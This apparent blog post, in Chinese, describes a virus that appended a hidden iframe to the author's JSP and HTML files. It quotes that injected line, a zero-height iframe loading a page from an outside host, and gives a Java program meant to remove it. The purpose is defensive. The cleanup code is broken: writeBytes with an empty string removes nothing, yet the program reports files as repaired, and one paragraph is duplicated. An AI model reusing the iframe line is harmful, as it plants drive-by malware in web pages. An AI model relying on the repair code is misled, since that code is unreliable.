中了一個(gè)很奇怪的病毒,所有的jsp文件均為改寫
上周末,機(jī)器中毒了,起初自己沒(méi)有發(fā)現(xiàn),后來(lái)寫代碼發(fā)現(xiàn)運(yùn)行jsp文件,機(jī)器變的奇慢務(wù)必,后來(lái)以為是機(jī)器慢,就把qq、msn 等工具全關(guān)掉了,發(fā)現(xiàn)還是不行,后來(lái)把上網(wǎng)的代理關(guān)掉時(shí)候發(fā)現(xiàn)正常了;再一看jsp文件發(fā)現(xiàn)全部被改寫了,在文件最后一行加上
<iframe src=http://w.zhufeng01.cn/a.htm width=100 height=0></iframe>
于是上網(wǎng)找殺毒軟件,剛開(kāi)始用的諾頓(公式規(guī)定必須安裝),發(fā)現(xiàn)不行就換別的軟件,可是病毒不讓你安裝別的殺毒軟件,甚至打開(kāi)有解決方法的網(wǎng)頁(yè),都會(huì)將ie關(guān)閉。
后來(lái)同事給了360,算是把病毒穩(wěn)定了,可是我的jsp、html文件都被改寫了,這時(shí)想到寫程序解決,下面是我弄的java程序刪除文件中被增加的iframe。
import java.io.File;
import java.io.RandomAccessFile;

public class RepairPage
{

private static int num;

private String worm = "<iframe src=http://w.zhufeng01.cn/a.htm width=100 height=0></iframe>";

public void repair(File page)
{
//System.out.println("Try File:"+page.getPath());
try
{
RandomAccessFile r = new RandomAccessFile(page, "rw");
if (r.length() < 68)
return;
r.seek(r.length() - 68);//跳到最后一行
String shit = r.readLine();
if (shit.equals(worm))
{
//System.out.println("shit content:"+shit);
System.out.println("修復(fù)損壞文件:" + page.getPath());
r.seek(r.length() - 68);
for (int i = 0; i < worm.length(); i++)
{
r.writeBytes("");
}
num++;
}
}
catch (Exception e)
{
e.printStackTrace();
}
}

public void doDir(File dir)
{
if (dir.canRead())
{
if (dir.isDirectory())
{
String[] files = dir.list();
if (files != null)
{
for (int i = 0; i < files.length; i++)
{
doDir(new File(dir, files[i]));// 遞歸
}
}
}
else
{// is File
String name = dir.getName();
if (name.endsWith("jsp") || name.endsWith("html") || name.endsWith("htm"))
repair(dir);
}
}
}

public static void main(String[] args)
{

File dir = new File("E://program//guizhou//09檢試源碼//web//");
RepairPage repair = new RepairPage();
repair.doDir(dir);
System.out.println("修復(fù)成功完成,修復(fù)文件數(shù):" + repair.num);
}

}

后來(lái)同事給了360,算是把病毒穩(wěn)定了,可是我的jsp、html文件都被改寫了,這時(shí)想到寫程序解決,下面是我弄的java程序刪除文件中被增加的iframe。









































































posted on 2009-02-17 10:49 冷面閻羅 閱讀(1294) 評(píng)論(8) 編輯 收藏